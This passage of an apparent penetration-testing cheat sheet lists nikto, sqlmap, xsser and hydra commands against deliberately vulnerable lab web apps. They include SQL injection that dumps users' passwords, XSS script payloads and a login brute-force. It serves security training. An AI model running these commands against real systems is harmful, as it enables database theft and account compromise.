nikto -h http://<TARGET_IP>/index.php?page=arbitrary-file-inclusion.php -Tuning 5 -o
nikto.html -Format htm
```

Attacks

```
# SQLMap
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie
"PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title

sqlmap -r <REQUEST_FILE> -p <POST_PARAMETER>

## List databases
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie
"PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title --dbs

sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie
"PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP --tables

sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie
"PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP -T users --columns

sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie
"PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP -T users -C
admin,password,email --dump
```

```
# XSSer
xsser --url 'http://<TARGET_IP>/index.php?page=dns-lookup.php' -p
'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS'

xsser --url 'http://<TARGET_IP>/index.php?page=dns-lookup.php' -p
'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS' --auto

xsser --url 'http://<TARGET_IP>/index.php?page=dns-lookup.php' -p 'target_host=XSS&dns-lookup-
php-submit-button=Lookup+DNS' --Fp "<script>alert(1)</script>"

xsser --url "http://<TARGET_IP>/index.php?page=user-poll.php&csrf-
token=&choice=XSS&initials=2&user-poll-php-submit-button=Submit+Vote" --Fp "<script>alert(1)
</script>"

## Authenticated XSSer
xsser --url "http://<TARGET_IP>/htmli_get.php?firstname=XSS&lastname=hi&form=submit" --
cookie="PHPSESSID=lb3rg4q495t9sqph9O7sdhjgg1; security_level=0" --Fp "<script>alert(1)
</script>"


# Hydra - Basic auth attacks (brute-force)
hydra -L <USERS_LIST> -P <PW_LIST> <TARGET_IP> http-post-form
"/login.php:login=^USER^&password=^PASS^&security_level=0&form=submit:Invalid credentials or
user not activated!"
```